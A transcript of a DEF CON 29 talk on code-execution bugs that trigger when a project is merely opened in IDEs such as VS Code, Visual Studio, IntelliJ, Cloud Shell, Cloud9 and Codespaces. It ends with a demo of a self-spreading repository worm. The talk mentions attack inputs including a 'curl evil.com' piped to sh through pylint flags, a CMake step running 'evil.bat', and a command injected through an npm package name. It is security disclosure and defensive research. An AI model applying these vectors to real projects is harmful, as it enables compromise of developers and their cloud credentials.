DEF CON 29 - David Dworken - Worming through IDEs

00:05 - First a little bit about myself. I’m a security engineer at Google, where I work on web security.

00:09 - I’m focused both on developing new web security features along with figuring out how to you deploy them at scale.

00:18 - Outside of work, I really enjoy hacking in both senses of the word.

00:22 - So I enjoy programming, working on silly programming projects, just for the joy of creating something, as much as I enjoy finding vulnerabilities, taking things apart and working on bug bounties.

00:34 - So during the pandemic, I have a couple of months free when I was originally supposed to be taking time off to go traveling.

00:41 - And I spent a few months looking into IDE security.

00:45 - And I found and reported 30 or 40 different bugs in a bunch of different IDEs.

00:50 - So today I want to go through a whirlwind tour of a bunch of these bugs.

00:55 - And one thing to note here, all of the bugs in this presentation have either been fixed, or declared working as intended.

01:02 - So why hack developers? If you go after your standard production infrastructure, that’s likely to be heavily hardened.

01:09 - And everyone thinks about attacking production.

01:12 - And because of that, that’s where defenders put a lot of time and effort into.

01:16 - Developers, on the other hand, are less common target.

01:20 - So chances are, they are not as hardened as production.

01:23 - But because they’re the creators of production, they maintain it, and push new code to it, oftentimes developers have the ability to access production.

01:32 - So if you can hack them, you can then use their credentials to pivot into production.

01:37 - IDEs specifically are a really interesting target in my opinion, because they’ve been getting more and more complex over time.

01:44 - An IDE is no longer just a text editor. Now it includes so many different fancy tools to provide auto-complete, to use AI auto-complete, to integrate with any tool you can imagine.

01:58 - And whenever you have all those integrations, you’re more likely to have bugs.

02:04 - If you ask your average developer, or even your average security person, where the security boundary is when they open up something that they don’t trust, they’re likely to point to the run button.

02:16 - So in this case, I personally would’ve thought if I don’t hit run, it would be totally safe to open up this random folder, and look at some of the codes inside of it.

02:26 - But it turns out, most IDEs, at least you use to see the security boundary, is just opening something to view it.

02:34 - And what makes this especially impactful, is the fact that IDEs are extremely popular.

02:41 - Over half of all developers use Vscode, one popular IDE that’s made using a kind of web stack.

02:48 - It’s built in HTML and JavaScript. So if you have a bug just in Vscode, you already have the ability to target half of all developers.

02:57 - And then there are a couple of others that once you find the way to attack those, the number of developers you can attack just continues to go up.

03:05 - When the pandemic hit, I ended up with a lot of free time, because I had plans to go traveling, and that wasn’t happening.

03:13 - So I started to look into Vscode, just because it’s one that I personally use a lot.

03:18 - One really common vulnerability pattern in Vscode stems from workspace settings.

03:25 - So vs code allows two different ways to configure settings.

03:29 - You have your standard user settings, which apply to everything on your computer, but there are also workspace settings.

03:37 - And workspace settings are specific to a directory that you open.

03:41 - And the really interesting thing about workspace settings is the settings file is actually stored inside of this magic dot vscode slash settings dot json file, inside of the project.

03:54 - So if you download some git repo off the internet, and open it up in Vscode, it can supply its own workspace settings.

04:02 - So this is a really useful feature, because it allows projects to configure themselves in a way that makes them easy to work with.

04:10 - Where this goes wrong is that Vscode, and a lot of the Vscode extensions, have settings that are actually not safe to be configured by an untrusted party.

04:21 - So this isn’t just changing the font size, or changing benign the settings.

04:26 - There are settings that actually can turn into code execution.

04:29 - So for example, the Python Vscode extension made it possible to override the path to the Flake8 binary.

04:38 - Flake8 is a common Python linter. So it’s meant to give you errors of your lines are too long, But by overriding the Flake8 path, to a binary included inside of a project, it was possible to convince the Python Vscode extension to start executing code included in the project, as soon as you view a file, because the linter runs as soon as you view a file.

05:04 - So this is scary, because it means viewing a file just to try to understand what a project is, for example, opening up a POC you download off the internet, isn’t actually safe in the face of this.

05:17 - One really useful tool I use throughout all of this research was Strace.

05:23 - Strace is this amazing tool that allows you to run a command and log all of the sys calls that it makes.

05:30 - Sys calls are how commands or programs interact with the operating system, and thus interact with any other resource on the computer.

05:38 - So every time they want to start a new process, open a thread, open a file, anything like that, that has to go through a sys call.

05:47 - So for example, if we wanted to run Vscode via Strace, we would just run this, and then we’d be able to look at all of the sys calls that it makes.

05:56 - What’s so about this is, it allows you to understand the actual behavior of a program without having to read all of the source code.

06:05 - IDEs are huge, and it just isn’t practical to read every line of the source.

06:10 - But it is practical to review the sys calls, and use that to understand how it works.

06:16 - So for example, you can cat this file, and grep for ENOENT.

06:22 - ENOENT is the return code that you get if you try to open a file that doesn’t exist.

06:28 - So this allows you to know that Vscode tried to open a file, but it didn’t exist.

06:34 - And thus, there might be some kind of special behavior for this.

06:37 - For example, it might be opening a config file, and you might be able to poison that config file.

06:43 - You can also just grep for the open sys calls.

06:46 - So this would find every file that it opens, whether it exists or not.

06:51 - Another really useful one is grepping for the exec sys call.

06:55 - So this is how you launch another process running another command.

06:59 - So this makes it possible to look for kind of your standard command injection style attacks.

07:04 - One bug I found with this was a common one in a lot of JavaScript-based extensions, where most Vscode extensions are developed in JavaScript.

07:14 - And the default behavior, is that it will attempt to load the node modules folder in order to find the dependencies of that extension.

07:24 - But where this goes wrong is it will first attempt to load the node modules folder from the currently open project.

07:31 - So in this case, this was the JSHint extension, which is another linter.

07:36 - So it runs as soon as you open a file, and we see that it attempted to open the node modules slash JSHint file within the currently open directory.

07:47 - So what this means is, we can just put our own code in there, some malicious JavaScript, and it will helpfully just go and execute that as soon as you open a file, when it tries to provide linter support.

08:00 - Another one also found via Strace was a command injection bug, where NPM is a common JavaScript package manager.

08:10 - And, in package dot JSON files, which is how NPM has configured, Vscode attempts to be helpful, and wants to provide you information on the dependencies you have installed.

08:22 - So it goes and takes every dependency you have installed, and passes it into NPM_view.

08:28 - The key thing to note here is that it does not escape the package name.

08:33 - So if you just have a package named semicolon space, and then any command, it will just start executing that.

08:41 - And this was just found via running it with Strace, and looking for any time it runs exec.

08:49 - Moving on from Visual Studio code to Visual Studio, which is a different IDE also made by Microsoft.

08:57 - One bug I found in this was with build configs.

09:01 - So Visual Studio supports CMake. CMake is kind of like Make if you’ve ever used that.

09:07 - And it will by default run CMake, in order to provide auto complete for anything you open.

09:14 - Where this goes wrong is that CMake provides the ability to execute a command.

09:19 - So in this case, you can just execute process of evil dot bat, and that will run as soon as anything is opened inside of Visual Studio.

09:29 - I reported this to Microsoft, and in contrast to all of the Vscode bugs, which were all treated very seriously, and promptly patched, their decision for this was that this is by design, and there is no way to view scripts in Visual Studio without also executing them.

09:47 - So this is a fair bit of warning that Vscode at least attempts to be safe when opening untrusted projects, but Visual Studio does not.

09:59 - Something really interesting happened a couple of months later.

10:03 - Google’s threat analysis group published a blog post that I was not involved with, about a North Korean threat actor that was targeting security researchers.

10:14 - And what they were doing was they were reaching out to security researchers and asking for help debugging their zero days.

10:21 - And if the researcher agreed, they would send them a zip file containing a Visual Studio project to open up.

10:29 - And inside of this visual studio project, it used a very similar trick in order to get command code execution, as soon as it was opened, and then use that to comb the developer.

10:42 - What this shows in my opinion, is that this attack vector is not just a theoretical concern.

10:48 - This is something that actual APTs out in the real world are using, and they’re using it to attack security researchers, who are already relatively paranoid.

10:58 - So if you ever are given zip file, and told to open it by someone saying, hey, I need some help, definitely be suspicious about that.

11:08 - One historical bog that I just want to cover that I think is so fascinating is a bug in IntelliJ from 2016, where this person found that IntelliJ had a locally listening web server, and that any website you open, could talk to that web server (inaudible), and ask it to open a project.

11:31 - And IntelliJ would then open this project, even a project downloaded off of the internet, and then would execute a startup task contained within that project.

11:42 - So for example, this was their POC where visiting local host was able to pop calculator with zero interaction.

11:52 - What’s interesting about this, is that when IntelliJ fixed this, they fixed this by preventing localhost, or any untrusted website, from interacting with IntelliJ.

12:02 - They didn’t fix this by blocking the opening a project being equivalent to code execution vector.

12:10 - So I reached back out to them to discuss this, using pretty much exactly the same vector, where you have a start-up task, and it can just execute any command.

12:19 - And this is a built-in feature of IntelliJ.

12:23 - And their initial reply was that they haven’t decided what the fix should be, because they need to make a trade-off between security and convenience.

12:31 - And this was a really common pattern when talking to IDE developers, because IDE has tried to make developers lives easier.

12:42 - They want to make it as efficient to make software as possible.

12:45 - And if you have to constantly warn someone about this risk, this risk, or this risk, that’s going to annoy developers.

12:52 - Ultimately IntelliJ did decide to fix this, and their fix is that whenever you open a project for the first time, if it contains a startup task, it warns you.

13:04 - And if you think that these bugs only apply to large heavyweight IDEs like IntelliJ, you’re sadly mistaken.

13:12 - So this was a fascinating bug from 2019, where VIM has a concept of mode lines, which are kind of analogous to Vscode, and it’s workspace settings.

13:24 - And via mode lines, it turns out it was possible to get code execution just from opening a file, again with zero user interaction, other than viewing a file.

13:34 - Tavis even found a great bug in Notepad, where it was possible to take opening a file in Notepad, kind of the dumbest and most basic of editors, and turn that into code execution.

13:48 - Where this gets even more interesting, in my opinion, is online IDEs.

13:52 - There’s a big shift nowadays, where companies are trying to have developers use online IDEs that run in the cloud.

14:00 - The idea behind this is that rather than running everything locally with limited resources on a laptop, and having to worry about internet speed, processor speed, and provisioning enough resources, developers can essentially be given a virtual machine in the cloud, that their IDE runs inside of.

14:19 - So Google Cloud Shell, Azure, AWS, GitHub, all of these companies have their own solution for this.

14:26 - What makes these really interesting in my opinion is that they all include built-in cloud credentials, Google Cloud, Cloud9, Azure.

14:36 - And what this means is, if you manage to get code execution inside of one of these VMs, it is already authenticated to access anything in the cloud that that developer has access to.

14:49 - So that makes these a really impactful target, from a security perspective.

14:55 - I found a really fun bug inside of Google Cloud Shell.

14:59 - So Google Cloud Shell is built on top of Eclipse Theia.

15:04 - Eclipse Theia is an open source web IDE. And Eclipse Theia, has support for Ruby, via the Theia Ruby extension.

15:13 - And the Theia Ruby extension is then built on top of Solargraph, which is an open source project maintained by a single person.

15:22 - So what’s kind of interesting about this, is that Google Cloud Shell, which has very strict security requirements, three levels down is depending on an open source thing that they really don’t have very much influence over.

15:36 - So when I started reading the Solargraph code, I found this hack.

15:40 - Evaluating gemspec files violates the goal of not running workspace code, but this is how gem specification dot load does it anyway.

15:50 - And then you see it reads a file and evaluates it.

15:54 - So what this means is, if someone opens something inside of their online Cloud Shell IDE, and it contains the gemspec file, it immediately evaluates that Ruby code, and that Ruby code can then start stealing the cloud credentials, and acting as that user.

16:14 - There was a similar bug in the TypeScript language server also, where TypeScript made it possible to specify additional compiler plugins that provide support for different language features.

16:27 - And this in theory, it should be safe, because all of these plugins are loaded from slash VAR slash, and somewhere in there.

16:35 - But the classic dot dot slash trick actually just worked totally fine here.

16:41 - What both of these vulnerabilities have in common, is that they both stem from a very, very sensitive application, in this case, Google Cloud Shell, using dependencies that have a very different threat model.

16:55 - So Google Cloud Shell, it’s important that opening something does not turn into code execution.

17:01 - But for these other dependencies oftentimes made by a single person somewhere, this is actually an important barrier.

17:10 - AWS Cloud9 also had a very similar bug, where it, similar to Vscode, allows a project to include its own settings.

17:19 - And one of the settings that it allows a project to configure is a bunch of pylint flags.

17:24 - Pylint is another linter. This is a very common vector, because linters always execute as soon as you view a file.

17:33 - And inside of these included workspace settings, you could provide pylint flags.

17:39 - And the interesting thing is that pylint supports a kind of bizarre feature, where you can pass it an arbitrary expression to evaluate, and it will use that expression to score how well your code adheres to a coding style.

17:52 - So in this case, you can just pass a curl evil. com pipe to sh, and that worked just fine.

18:00 - GitHub Code Spaces is another one of these online IDEs.

18:03 - From a security perspective, GitHub code spaces has a really clever design, in my opinion.

18:10 - Rather than trying to prevent code execution from happening.

18:13 - It runs every project in an isolated VM. And the idea is that one VM, containing one code space for one repository, can’t interact or interfere with any other VM.

18:26 - Where this goes wrong, is that GitHub Code Space has had a concept of settings sync.

18:32 - And settings sync made it possible to configure settings for one Code Space, and have these get sent to every other Code Space.

18:40 - So this was a feature meant to be used for things like changing the font size.

18:45 - But where this went wrong is, if you opened an untrusted repository in GitHub Code Spaces, that untrusted repository could easily get code execution inside of that isolated VM.

18:57 - And then it could configure settings for that entire code space.

19:02 - And those settings would then be synced everywhere else.

19:05 - And it turns out it was really easy to go and use those settings in order to sync command execution across VMs.

19:15 - The part that is absolutely terrifying to me about all of this is, what happens if someone writes a worm? So the idea is, you start with one developer, one person, who has somehow been compromised, and they can push a bunch of malicious IDE configs to one repository And you push vulnerabilities and exploits for all of the ones we’ve talked about and more.

19:44 - And then people are going to start viewing that, and they’re going to start looking at that one repository.

19:49 - And assuming they’re using any common IDE, which as we established before, they probably are, then that worm can automatically propagate itself to every repository that they have control over.

20:02 - And then people are likely going to view those repositories.

20:06 - And then this can keep on propagating exponentially, and really has a lot of terrifying potential to spread really far.

20:14 - So I made a quick demo of this. So let’s run through that.

20:19 - So here we have an empty repository. It has nothing in it other than a read me file.

20:25 - And then inside of evil repo, we have a bunch of different IDE config files.

20:30 - So these will all execute worm. py whenever they’re opened in the applicable IDE.

20:37 - So if you open this in Vscode or IntelliJ, or any popular IDE, it’ll automatically execute the worm.

20:44 - And then that will look for any git repositories on your computer, and automatically backdoor them, and then run git push to push that up, so as to continue spreading the worm.

20:54 - So we’re going to go ahead and git clone this.

20:58 - We’re just going to git clone it, and then open it up in Vscode.

21:03 - Then here in Vscode, there’s no hint of anything suspicious at all.

21:08 - Everything looks totally normal, no error messages, nothing of that sort.

21:12 - But if we go over here to what was an empty repository, and wait a few seconds before we refresh, it has now been backdoored, and contains all of these things, and will continue spreading if anyone else opens it up.

21:25 - As I mentioned before, the core defense against this class of bugs is developers that needed to be prompted, and needed to be given a choice before code starts executing.

21:36 - Vscode just came out with a new feature that helps defend against this class of bugs, called Workspace Trust.

21:44 - And what this does is, when you open something for the first time, you’re asked whether or not you trust it.

21:50 - And that defines whether it runs in trusted mode or restricted that mode.

21:55 - And if it’s in restricted mode, by default, it does not use any of the settings defined inside of that folder.

22:03 - And it also does not allow any extensions to run.

22:06 - So this makes it, so it’s a really minimal IDE, when it’s being used with untrusted code, but you still have the power of a full IDE if you trust a folder.

22:16 - So I just want to say thank you to everyone I worked with on finding these bugs, and getting them addressed.

22:23 - There are tons of different companies involved with fixing these So thank you to everyone for that.

22:28 - I uploaded the POC from the demo to GitHub.

22:31 - You can also get these slides. And a big shout out to a Offensi, who originally kind of got me interested in this area of research when they published four different bugs in Google Cloud Shell.

22:43 - So I definitely recommend checking out that blog post.

22:47 - Thank you everyone, bye. .